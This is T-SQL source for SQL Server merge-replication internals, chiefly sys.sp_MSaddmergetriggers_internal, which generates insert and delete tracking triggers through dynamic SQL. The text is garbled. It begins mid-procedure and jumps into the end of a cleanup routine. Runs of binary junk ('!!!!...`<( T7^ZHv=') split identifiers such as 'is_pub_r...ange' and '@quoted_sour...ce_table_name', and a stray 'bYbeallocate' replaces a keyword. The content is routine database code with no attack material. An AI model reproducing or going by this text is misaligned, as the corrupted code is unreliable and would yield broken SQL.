			if @error<>0 or @newgen is NULL
				goto FAILURE
		end 

		/* save a copy of @bm */
		declare @origin_bm varbinary(500)
		set  @origin_bm =  @bm

		/* only do the map down when needed */
		set @missingbm = 0x00 
		if update(' + @quoted_rgcol + ')
		begin
			if @@trancount > 0
				rollback tran
	                
			RAISERROR (20062, 16, -1)
		end  
		else    
			set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) } ' + 
			@colv_param2 + '
            
			set @partgen = NULL 
			update ' + @quoted_viewname + ' with (rowlock)
			set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }, 
				generation = @newgen, 
				partchangegen = case when (@partchange = 1 or @joinchange = 1) then @newgen else partchangegen end, 
	            
					colv1 = ' + @colv_param3 + '
			FROM inserted as I JOIN ' + @quoted_viewname + ' as V with (rowlock)
			ON (I.rowguidcol=V.rowguid)
			and V.tablenick = @tablenick
			option (force order, loop join)

			select @updateerror = @@error, @contents_rows_updated = @@rowcount 
	          
			if @article_rows_updated <> @contents_rows_updated
			begin  
				insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen) 
				select @tablenick, rowguidcol, @lineage, @cv, @newgen, @partgen
				from inserted i 
				where not exists (select rowguid from ' + @quoted_viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol)     
				if @@error <> 0
					GOTO FAILURE
			end     

		return
	FAILURE:
		if @@trancount > 0
			rollback tran
		raiserror (20041, 16, -1)
		return 

		')
    end
    
    else if @trigger_type = 2 
    begin
		exec ('create trigger ' + @quoted_trigname + ' on ' + @quoted_dbname + '.' + @quoted_tableowner_dot + @quoted_sourcetable + ' FOR DELETE   AS 
		declare @is_mergeagent bit, @at_publisher bit, @retcode smallint 

		set rowcount 0
	    set transaction isolation level read committed

		select @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
		select @at_publisher = 0 
		declare @article_rows_deleted int
		select @article_rows_deleted = count(*) from deleted
		if @article_rows_deleted=0
			return
		declare @tablenick int, @replnick binary(6), 
				@lineage varbinary(311), @newgen bigint, @oldmaxversion int,
				@rowguid uniqueidentifier 
		declare @dt datetime, @nickbin varbinary(8), @error int
	     
		set nocount on
		select @tablenick = ' + @tablenickstr + '    
		if @article_rows_deleted = 1 select @rowguid = rowguidcol from deleted
		select @oldmaxversion= maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
		select @dt = getdate()

		select @replnick = ' + @replnickstr + '  
		set @nickbin= @replnick + 0xFF

		select @newgen = NULL
		select top 1 @newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
			where art_nick = ' + @tablenickstr + '          
				  and genstatus = 0
		if @newgen is NULL
		begin
			insert into ' + @quoted_genhistory_viewname + '  with (rowlock)
				(guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
				 values (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_deleted)
			select @error = @@error, @newgen = @@identity    
			if @error<>0 or @newgen is NULL
				goto FAILURE
		end  
		set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }  
		if @article_rows_deleted = 1
			insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation)
				select @rowguid, @tablenick, 1, isnull((select { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) } from 
				' + @quoted_viewname + ' c with (rowlock) where c.tablenick = @tablenick and c.rowguid = @rowguid),@lineage), @newgen
		else
			insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation)
				select d.rowguidcol, @tablenick, 1, { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) }, @newgen from 
				deleted d left outer join ' + @quoted_viewname + ' c with (rowlock) on c.tablenick = @tablenick and c.rowguid = d.rowguidcol 
	             
		if @@error <> 0
			GOTO FAILURE  
			delete ' + @quoted_viewname + '  with (rowlock)
			from deleted d, ' + @quoted_viewname + ' cont with (rowlock)
			where cont.tablenick = @tablenick and cont.rowguid = d.rowguidcol
			option (force order, loop join)

		if @@error <> 0
			GOTO FAILURE

	    
		return
	FAILURE:
		if @@trancount > 0
			rollback tran
		raiserror (20041, 16, -1)
		return 

		')
    end
    
    if @@error <> 0
		return 1
		
    return 0
bYbeallocate article_curs
    drop table #oldgens
    
    exec sp_MScleanup_zeroartnick_genhistory @num_genhistory_rows output, @num_contents_rows output, @num_tombstone_rows output
    -- reset metadata cleanup time after the task is completed
    update dbo.sysmergesubscriptions set metadatacleanuptime = getdate() 
    -- ignore errors if any, intentionally.
    exec @retcode= sp_releaseapplock @Resource= @applockname, @LockOwner= 'Session', @DbPrincipal = @DbPrincipal
    if @@error <> 0 or @retcode < 0
        return (1)
    else
        return (0)

Failure:
    close article_curs
    deallocate article_curs
    drop table #oldgens
    select @retcode = 1
    
ReleaseAppLockAndExit:

    exec sp_releaseapplock @Resource= @applockname, @LockOwner= 'Session', @DbPrincipal = @DbP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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7^ZHv=
create procedure sys.sp_MSaddmergetriggers_internal 
    @source_table         sysname,                /* was type varchar(92), table name */
    @table_owner        sysname,
    @column_tracking     int,                /* Is column tracking on - default is FALSE */
    @trigger_type        tinyint,
    @viewname            sysname,
    @tsview                sysname,
    @trigname            sysname,
    @current_mappings_viewname sysname,
    @past_mappings_viewname sysname,
    @genhistory_viewname sysname
AS
    set nocount on
    declare @command        nvarchar(max)
    declare @command2        nvarchar(max)
    declare @command3       nvarchar(max)
    declare @command4       nvarchar(max)
    declare @command5       nvarchar(max)
    declare @inscommand nvarchar(2000)
    declare @ifcoltracking     nvarchar(255)
    declare @tablenick         int    
    declare @replnick         binary(6)
    declare @artid             uniqueidentifier
    declare @owner             sysname
    declare @site             sysname
    declare @db             sysname
    declare @object         sysname
    declare @tablenickchar     nvarchar(11)
    declare @retcode         int
    declare @bitmap         varbinary(40)
    declare @objid            int
    declare @notforrepl_str1    nvarchar(400)
    declare @notforrepl_str2    nvarchar(400)
    declare @notforrepl_bit bit
    declare @rgcol            sysname
    declare @UnqualName    sysname  --rightmost name node
    declare @QualName1     sysname  
    declare @immediate_child_table_name nvarchar(258), @owner_qualified_immediate_child_table_name nvarchar(517), @immediate_child_objid int,
			@join_filter_id int, @join_filterclause nvarchar(1000), @child_join_colname nvarchar(130)
    declare @child_rgcol nvarchar(270)
    declare @immediate_child_nickname int, @join_unique_key int, @child_expand_proc sysname, @immediate_child_partition_viewname nvarchar(258), @partition_deleted_view_rule nvarchar(max), @child_has_col_tracking int
    declare @logical_record_view int, @logical_record_deleted_view_rule nvarchar(max), @logical_record_parent_nickname int
    declare @lrp_partition_view_id int, @lrp_partition_view_name nvarchar(270), @lrp_pubid uniqueidentifier,
                    @lrp_publication_number smallint, @lrp_rgcol nvarchar(270), @lrp_objid int, @partition_options tinyint,
                    @is_top_level_logical_record_parent bit

    declare @str_objid nvarchar(15)

    declare @quoted_db_source_table_name nvarchar(776)
    declare @quoted_source_table_name nvarchar(517)
    declare @dbname nvarchar(258)
    declare @delete_tracking bit
    declare @max_colv_size_in_bytes int
    declare @child_cannot_pre_exist bit
    declare @parent_columns_unique bit
    declare @gen_change_threshold int

    -- the following is needed for auto identity range support
    declare @identity_support int
    declare @ident_increment numeric(38,0)
    declare @is_publisher bit
    declare @subid uniqueidentifier
    declare @subidstr nvarchar(40)
    declare @artidstr nvarchar(40)
    declare @article_published bit
    declare @level_generations_in_trigger bit
    -- end auto identity range support variables

	declare @quoted_trigname nvarchar(258)
	declare @quoted_genhistory_viewname nvarchar(517)
	declare @quoted_tsview nvarchar(517)
	declare @quoted_viewname nvarchar(517)
	declare @quoted_rgcol nvarchar(258)
	declare @quoted_current_mappings_viewname nvarchar(517)
	declare @quoted_past_mappings_viewname nvarchar(517)

    /* Security check */
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    
    create table #tmptriggercmd (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(max) collate database_default null)

    set @notforrepl_bit = 1
    set @bitmap = 0x0
	select @parent_columns_unique = 0 
	
    if @table_owner is NULL
         select @table_owner = SCHEMA_NAME(schema_id) from sys.objects where object_id = object_id(@source_table)

    select @quoted_source_table_name=QUOTENAME(@table_owner) + N'.' + QUOTENAME(@source_table)

    set @objid =  OBJECT_ID(@quoted_source_table_name)
    set @str_objid = convert(nvarchar, @objid)
    
    if exists (select * from dbo.sysmergearticles where objid = @objid and column_tracking = 1)
    begin
        declare @current_col_count int, @missing_col_count int
        select @current_col_count = count(*) 
            from sys.columns where object_id = @objid
        select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @objid), 0)
        -- 12 bytes per column in table + 1 trailing byte for colv.
        select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
        if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
    end
    else
        select @max_colv_size_in_bytes = 1

    select @rgcol = name from sys.columns where object_id = @objid and is_rowguidcol = 1

    if @source_table IS NULL
         return 1

    select @dbname = DB_NAME() 

	set @quoted_db_source_table_name=QUOTENAME(@dbname)+ N'.' + @quoted_source_table_name

    select @owner = @table_owner
    select @object = @source_table

	select @quoted_trigname = quotename(@trigname)
	select @quoted_genhistory_viewname = N'[dbo].' + quotename(@genhistory_viewname)
	select @quoted_tsview = N'[dbo].' + quotename(@tsview)
	select @quoted_viewname = N'[dbo].' + quotename(@viewname)
	select @quoted_rgcol = quotename(@rgcol)
	select @quoted_current_mappings_viewname = N'[dbo].' + quotename(@current_mappings_viewname)
	select @quoted_past_mappings_viewname = N'[dbo].' + quotename(@past_mappings_viewname)

    -- Initialize string for inserting to before_image table
    exec sys.sp_MSgetbeforetableinsert @objid, @inscommand output
    
    execute @retcode=sys.sp_MStablenickname @owner, @object, @tablenick output
    if @retcode<>0 or @@ERROR<>0 return (1)

    if exists (select * from dbo.sysmergearticles where nickname = @tablenick
                        and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @article_published = 1
    else
        select @article_published = 0

    select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
        where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
    if @gen_change_threshold = 0 or @article_published = 0
        select @level_generations_in_trigger = 0
    else
        select @level_generations_in_trigger = 1
        
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 
        return 1

        
    select @artid = artid, @delete_tracking = delete_tracking, @identity_support=identity_support,
    @partition_options = partition_options
    from dbo.sysmergepartitioninfoview where objid = @objid
    
    -- check if this is the publisher or subscriber. Republishers are also considered as subscribers
    if @identity_support = 1
    begin
        if exists (select a.artid, p.pubid from dbo.sysmergearticles a, dbo.sysmergepublications p
                    where a.artid=@artid and a.pubid=p.pubid and (sys.fn_MSmerge_islocalpubid(p.pubid)=0))
        begin
            -- the current db is either a republisher or a subscriber
            select @is_publisher=0
            -- the follow query attempts to get the subid and not the republished pubid or the republished publication's subids
            select @subid=subid from dbo.MSmerge_identity_range 
                where is_pub_range=0 and artid=@artid and sys.fn_MSmerge_islocalsubid(subid)=1
        end
        else
        begin
            select @is_publisher=1
            select @subid=subid from dbo.MSmerge_identity_range
                where is_pub_r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7>Szv=ange=0 and artid=@artid and sys.fn_MSmerge_islocalpubid(subid)=1
        end
        select @subidstr = N'''' + convert(nvarchar(36), @subid) + N''''
        select @artidstr = N'''' + convert(nvarchar(36), @artid) + N''''
    end
    
    select @logical_record_view = logical_record_view, @logical_record_deleted_view_rule = logical_record_deleted_view_rule
    from dbo.sysmergepartitioninfo where artid = @artid and logical_record_parent_nickname is not null
        
    /* If column tracking wasn't passed in, just figure it out */
    if @column_tracking is null
        select @column_tracking = column_tracking from dbo.sysmergearticles where artid = @artid
        
    select @tablenickchar = convert(nchar, @tablenick)
    
    -- Check if the triggers can be made NOT FOR REPLICATION
    if exists (select * from dbo.sysmergearticles 
               where nickname = @tablenick 
               and
               (before_image_objid is not null or
                before_view_objid is not null or
                datalength (subset_filterclause) > 1
               ))
    begin
        select @notforrepl_bit = 0
    end
    else if exists (select * from dbo.sysmergesubsetfilters where art_nickname = @tablenick or join_nickname = @tablenick)
    begin
        select @notforrepl_bit = 0
    end
    else if exists (select * from dbo.sysmergearticles where nickname = @tablenick and pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1))
    begin
        select @notforrepl_bit = 0
    end
    else
    begin
        select @notforrepl_bit = 1
    end
    
    if exists (select * from dbo.sysmergepartitioninfoview 
                            where artid = @artid
                            and partition_options = 2 
                            and sys.fn_MSmerge_islocalpubid(pubid) = 0)
                and exists (select * from dbo.sysmergepartitioninfoview 
                            where artid = @artid
                            and partition_options = 2 
                            and sys.fn_MSmerge_islocalpubid(pubid) = 1)
    begin
        --republisher of multiple-hop well-partitioned articles (partition based filtering)
        select @notforrepl_str1 = ' '
        select @notforrepl_str2 = ' 
    if (select trigger_nestlevel()) = 1 and @is_mergeagent = 1
        return '
    end
    else if @partition_options = 2 or @partition_options = 3
    begin
        select @notforrepl_bit = 1
        select @notforrepl_str1 = ' not for replication '
        select @notforrepl_str2 = ' '
    end
    else
    begin
        select @notforrepl_str1 = ' '
        select @notforrepl_str2 = '
    if (select trigger_nestlevel()) = 1 and @is_mergeagent = 1
        return '
    end

    -- If column tracking is on, construct the string to initialize colv's
    if (@column_tracking <> 0)
        select @ifcoltracking = '    set @colv1 = 0xFF'
    else
        select @ifcoltracking = '    set @colv1 = NULL'
        
    select @is_top_level_logical_record_parent = 0
    
    if @logical_record_view is not null
    begin
        select top 1 @logical_record_parent_nickname = logical_record_parent_nickname 
        from dbo.sysmergepartitioninfo 
        where artid = @artid
        and logical_record_parent_nickname is not null
        
        if @logical_record_parent_nickname = @tablenick
            select @is_top_level_logical_record_parent = 1
    end

-- ins_ trigger generation
if @trigger_type = 0
begin
    -- UNDONE maybe remove null guid checks in SQL SERVER 7.0
    select @command = '
create trigger ' + @quoted_trigname + ' on ' + @quoted_db_source_table_name + 
    ' for insert ' + @notforrepl_str1 + ' as 
    declare @is_mergeagent bit, @at_publisher bit, @retcode smallint 

    set rowcount 0
    set transaction isolation level read committed
'
    
    if exists (select * from dbo.sysmergearticles where nickname = @tablenick 
                and (pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1)
                        or published_in_tran_pub = 1))
    begin
        select @command = @command + '
        exec @retcode = sys.sp_MSisreplmergeagent @is_mergeagent output, @at_publisher output
        if @@error <> 0 or @retcode <> 0
        begin
            rollback tran
            return
        end '
    end
    else
    begin
        select @command = @command + '
        select @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
        select @at_publisher = 0 '
    end
    
    if not exists (select * from dbo.sysmergearticles where nickname = @tablenick and pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1))
        and not exists (select * from dbo.sysmergepartitioninfo where artid = @artid and logical_record_view is not null)
        select @command = @command + @notforrepl_str2
        
    if @partition_options = 2 or @partition_options = 3
        select @command = @command + '
        if @is_mergeagent = 1 and @at_publisher = 1
            return '

    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    select @command=''

    -- perform identity range check here.
    if @identity_support = 1
    begin
        select @ident_increment = IDENT_INCR(@quoted_source_table_name)
        select @command = '
    if is_member(''db_owner'') = 1
    begin
        -- select the range values from the MSmerge_identity_range table
        -- this can be hardcoded if performance is a problem
        declare @range_begin numeric(38,0)
        declare @range_end numeric(38,0)
        declare @next_range_begin numeric(38,0)
        declare @next_range_end numeric(38,0)

        select @range_begin = range_begin,
               @range_end = range_end,
               @next_range_begin = next_range_begin,
               @next_range_end = next_range_end
            from dbo.MSmerge_identity_range where artid=' + @artidstr + ' and subid=' + @subidstr + ' and is_pub_range=0

        if @range_begin is not null and @range_end is not NULL and @next_range_begin is not null and @next_range_end is not NULL
        begin'
    
        if @is_publisher=1
        begin
            -- if it is the publisher when both current range and next range are full we will
            -- call a proc to refresh the range
            select @command = @command + '
            if IDENT_CURRENT(''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''') = @range_end
            begin
                DBCC CHECKIDENT (''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''', RESEED, @next_range_begin) with no_infomsgs
            end'
            
            if @ident_increment > 0
                select @command = @command + '
            else if IDENT_CURRENT(''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''') >= @next_range_end'
            else
                select @command = @command + '
            else if IDENT_CURRENT(''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''') <= @next_range_end'
            
            select @command = @command + '
            begin
                exec sys.sp_MSrefresh_publisher_idrange ''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''', ' + @subidstr + ', ' + @artidstr + ', 2, 1
                if @@error<>0 or @retcode<>0
                    goto FAILURE
            end'
        end
        else
        begin
            -- on the subscriber when both ranges are full we cannot do anything. so only do a
            -- reseed when range_end is reached.
            select @command = @command + '
            if IDENT_CURRENT(''' + sys.fn_replreplacesinglequote(@quoted_source_table_name) + ''') = @range_end
            begin
                DBCC CHECKIDENT (''' + sys.fn_replreplacesinglequote(@quoted_sour!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7 Oov=ce_table_name) + ''', RESEED, @next_range_begin) with no_infomsgs
            end'
        end
        select @command = @command + '
        end
    end'
        insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
        select @command=''
    end


    select @command = @command + '
    declare @article_rows_inserted int
    select @article_rows_inserted =  count(*) from inserted 
    if @article_rows_inserted = 0 
        return
    declare @tablenick int, @rowguid uniqueidentifier
    , @replnick binary(6), @lineage varbinary(311), @colv1 varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + '), @cv varbinary(1)
    , @ccols int, @newgen bigint, @version int, @curversion int
    , @oldmaxversion int, @child_newgen bigint, @child_oldmaxversion int, @child_metadatarows_updated int 
    , @logical_record_parent_rowguid uniqueidentifier 
    , @num_parent_rows int, @parent_row_inserted bit, @ts_rows_exist bit, @marker uniqueidentifier 
    declare @dt datetime
    declare @nickbin varbinary(8)
    declare @error int'
        
    if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
        select @command = @command + '
    declare @logical_record_distinct_parent_rowguids table (logical_record_parent_rowguid uniqueidentifier unique) '
        
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
    select @command = '
    set nocount on
    set @tablenick = ' + @tablenickchar + '
    set @lineage = 0x0
    set @retcode = 0
    select @oldmaxversion= maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
    select @dt = getdate()

    select @replnick = ' + sys.fn_varbintohexstr(@replnick) + ' 
    set @nickbin= @replnick + 0xFF

    select @newgen = NULL
        select top 1 @newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
        where art_nick = ' + @tablenickchar + ' and genstatus = 0'
    if @level_generations_in_trigger = 1
        select @command = @command + '
            and  changecount <= (' + convert(nvarchar, @gen_change_threshold) + ' - isnull(@article_rows_inserted,0))'
    select @command = @command + '
    if @newgen is NULL
    begin
        insert into ' + @quoted_genhistory_viewname + ' with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
             values   (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_inserted)
        select @error = @@error, @newgen = @@identity    
        if @error<>0 or @newgen is NULL
            goto FAILURE
    end'
    if @level_generations_in_trigger = 1
        select @command = @command + '
    else
    begin
        -- now update the changecount of the generation we go to reflect the number of rows we put in this generation
        update ' + @quoted_genhistory_viewname + '  with (rowlock)
            set changecount = changecount + @article_rows_inserted
            where generation = @newgen
        if @@error<>0 goto FAILURE
    end'

    select @command = @command + '
    set @lineage = { fn UPDATELINEAGE (0x0, @replnick, 1) }
        ' + @ifcoltracking + '
    if (@@error <> 0)
    begin
        goto FAILURE
    end

    select @ts_rows_exist = 0'
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)

    if @logical_record_view is not null 
    select @command ='
    if @article_rows_inserted = 1
    begin
        select @rowguid = rowguidcol from inserted
        select @ts_rows_exist = 1 where exists (select rowguid from ' + @quoted_tsview + ' where tablenick = @tablenick and rowguid = @rowguid)
    end
    else
    begin
        select @ts_rows_exist = 1 where exists (select ts.rowguid from inserted i, ' + @quoted_tsview + ' ts with (rowlock) where ts.tablenick = @tablenick and ts.rowguid = i.rowguidcol)
    end'
    else
    select @command ='
        select @ts_rows_exist = 1 where exists (select ts.rowguid from inserted i, ' + @quoted_tsview + ' ts with (rowlock) where ts.tablenick = @tablenick and ts.rowguid = i.rowguidcol)'        
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)

    select @command = '    
    if @ts_rows_exist = 1
    begin'
    if @logical_record_view is not null 
        select @command = @command + '    
        if @article_rows_inserted = 1
            select @version = max({fn GETMAXVERSION(lineage)}) from ' + @quoted_tsview + ' where 
                tablenick = @tablenick and rowguid = @rowguid
        else'
    select @command = @command + '    
        select @version = max({fn GETMAXVERSION(lineage)}) from ' + @quoted_tsview + ' where 
            tablenick = @tablenick and rowguid in (select rowguidcol from inserted) 

        if @version is not null
        begin
            -- reset lineage and colv to higher version...
            set @curversion = 0
            while (@curversion <= @version)
            begin
                set @lineage = { fn UPDATELINEAGE (@lineage, @replnick, @oldmaxversion+1) }
                set @curversion= { fn GETMAXVERSION(@lineage) }
            end

            if (@colv1 IS NOT NULL)
                set @colv1 = { fn UPDATECOLVBM(@colv1, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }'
            
    if @logical_record_view is not null 
        select @command = @command + '    
            if @article_rows_inserted = 1
                delete from ' + @quoted_tsview + ' with (rowlock) where tablenick = @tablenick and rowguid = @rowguid
            else'
    
        select @command = @command + '    
                delete from ' + @quoted_tsview + ' with (rowlock) where tablenick = @tablenick and rowguid in
                    (select rowguidcol from inserted) 
        end
    end 
    select @marker = newid() '
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
            
    if @logical_record_view is not null
    begin
        select @command = ' 
    if (@article_rows_inserted = 1)
    begin
        declare @contents_row_exists bit
                
        select @contents_row_exists = 0
                
        select @contents_row_exists = 1 where exists (select rowguid from ' + @quoted_viewname + ' with (rowlock) where tablenick = @tablenick and rowguid = @rowguid)  '
        
        insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
            
        if @is_top_level_logical_record_parent = 0
        begin
        
            select @command = '
        
        select @logical_record_parent_rowguid = logical_record_parent_rowguid 
        from ' + quotename(object_name(@logical_record_view)) + ' where ' + @quoted_rgcol + ' = @rowguid '
        
            select @command = @command + '        
        if @contents_row_exists = 0
        begin '

            select @command = @command + '
            insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, marker) 
            values (@tablenick, @rowguid, @lineage, @colv1, @newgen, (-@newgen), @logical_record_parent_rowguid, @marker) '
    
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
            select @command = '
        end 
        else
        begin
            update ' + @quoted_viewname + ' set logical_record_parent_rowguid = @logical_record_parent_rowguid
                where tablenick = @tablenick and rowguid = @rowguid

        end 
        exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata ' + convert(nvarchar, @logical_record_parent_nickname) + ', @logical_record_parent_rowguid, @replnick, @parent_row_inserted output
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
    end
    else
    begin '
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
        end    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7"J v=    -- @is_top_level_logical_record_parent = 1
        else 
        begin
            select @command = '        
        if @contents_row_exists = 0
        begin 
            insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, marker, logical_record_lineage) 
            values (@tablenick, @rowguid, @lineage, @colv1, @newgen, (-@newgen), @rowguid, @marker, @lineage) '
    
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
            select @command = '
        end 
        else
        begin
            update ' + @quoted_viewname + ' set logical_record_parent_rowguid = @rowguid,
                logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @oldmaxversion+1) }
                where tablenick = @tablenick and rowguid = @rowguid
        end 
    end
    else
    begin '
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
        end
    end    
        
    if @logical_record_view is null
    begin
        select @command = '
        insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, marker) 
        select @tablenick, rowguidcol, @lineage, @colv1, @newgen, (-@newgen), @marker
        from inserted i where not exists
        (select rowguid from ' + @quoted_viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol) '

    end
    else
    begin
        if @is_top_level_logical_record_parent = 0
            select @command = '
        insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, marker) 
        select @tablenick, i.rowguidcol, @lineage, @colv1, @newgen, (-@newgen), logical_record_parent_rowguid, @marker
        from inserted i, ' + quotename(object_name(@logical_record_view)) + ' lrv with (rowlock)
        where i.rowguidcol = lrv.' + @quoted_rgcol + '
        and not exists
            (select rowguid from ' + @quoted_viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol)
        
    end'
       else -- @is_top_level_logical_record_parent = 1
            select @command = '
        insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, marker, logical_record_lineage) 
        select @tablenick, i.rowguidcol, @lineage, @colv1, @newgen, (-@newgen), i.rowguidcol, @marker,@lineage
        from inserted i
        where not exists
            (select rowguid from ' + @quoted_viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol) 
    end'
    end
    
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
    select @command = '
    if @@rowcount = 0
    begin
        select top 1 @marker = mc.marker 
        from inserted i, ' + @quoted_viewname + ' mc with (rowlock)
        where mc.tablenick = @tablenick
        and mc.rowguid = i.rowguidcol
        
    end '
    
    -- uncomment for compplan size test
    --insert into #tmptriggercmd (phase, cmdtext) values (1, @command)

    if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
    begin
        select @command = '        
    if @article_rows_inserted > 1
        begin
        insert into @logical_record_distinct_parent_rowguids
            select distinct lrv.logical_record_parent_rowguid 
            from inserted i, ' 
            + quotename(object_name(@logical_record_view)) + ' lrv with (rowlock)
            where i.rowguidcol = lrv.' + @quoted_rgcol + '
            and lrv.logical_record_parent_rowguid is not null
        
        select @num_parent_rows = @@rowcount
        
        if @num_parent_rows = 1
        begin
            -- this could happen when all rows being inserted are the children of the same parent row.
            select @logical_record_parent_rowguid = logical_record_parent_rowguid from @logical_record_distinct_parent_rowguids
            exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata ' + convert(nvarchar, @logical_record_parent_nickname) + ', @logical_record_parent_rowguid, @replnick, @parent_row_inserted output
            if @@error <> 0 or @retcode <> 0
                goto FAILURE
        end
        else if @num_parent_rows > 1
        begin
            declare @logical_record_parent_oldmaxversion int, @logical_record_lineage varbinary(311), @logical_record_parent_regular_lineage varbinary(311), @logical_record_parent_gencur bigint
            
            select top 1 @logical_record_parent_oldmaxversion = maxversion_at_cleanup
            from dbo.sysmergearticles 
            where nickname = ' + convert(nvarchar,@logical_record_parent_nickname) + '

            -- the code below will get an open generation for the parent
            select @logical_record_parent_gencur = NULL
            select top 1 @logical_record_parent_gencur = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
                where art_nick = ' + convert(nvarchar,@logical_record_parent_nickname) + ' 
                    and genstatus = 0'
        if @level_generations_in_trigger = 1
            select @command = @command + '        
                    and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '-isnull(@num_parent_rows,0))'
        select @command = @command + '        
            if @logical_record_parent_gencur is NULL
            begin
                insert into ' + @quoted_genhistory_viewname + ' with (rowlock)
                (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                       values (newid(), 0, ' + convert(nvarchar,@logical_record_parent_nickname) + ', @nickbin, @dt, @num_parent_rows)
                select @error= @@error, @logical_record_parent_gencur = @@identity   
                if @error<>0 or @logical_record_parent_gencur is NULL
                    goto FAILURE
            end'
        if @level_generations_in_trigger = 1
            select @command = @command + '        
            else
            begin
                -- do the update right away to change the changecount to include the rows that we just put in the generation
                update ' + @quoted_genhistory_viewname + ' with (rowlock)
                set changecount = changecount + @num_parent_rows
                where generation = @logical_record_parent_gencur 
                if @@error<>0 goto FAILURE
            end'
            
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
        
            select @command = '    
            update ' + @quoted_viewname + ' with (rowlock)
            set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) },
            generation = @logical_record_parent_gencur
            from @logical_record_distinct_parent_rowguids lrpg join ' + @quoted_viewname + ' with (rowlock)
            on tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
            and rowguid = lrpg.logical_record_parent_rowguid
            option (force order, loop join)
        
            delete from @logical_record_distinct_parent_rowguids
            where logical_record_parent_rowguid in (select rowguid from ' + @quoted_viewname + '
                where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + ')
                
            -- Now @logical_record_distinct_parent_rowguids is left with parent rowguids that are not present in MSmerge_contents.
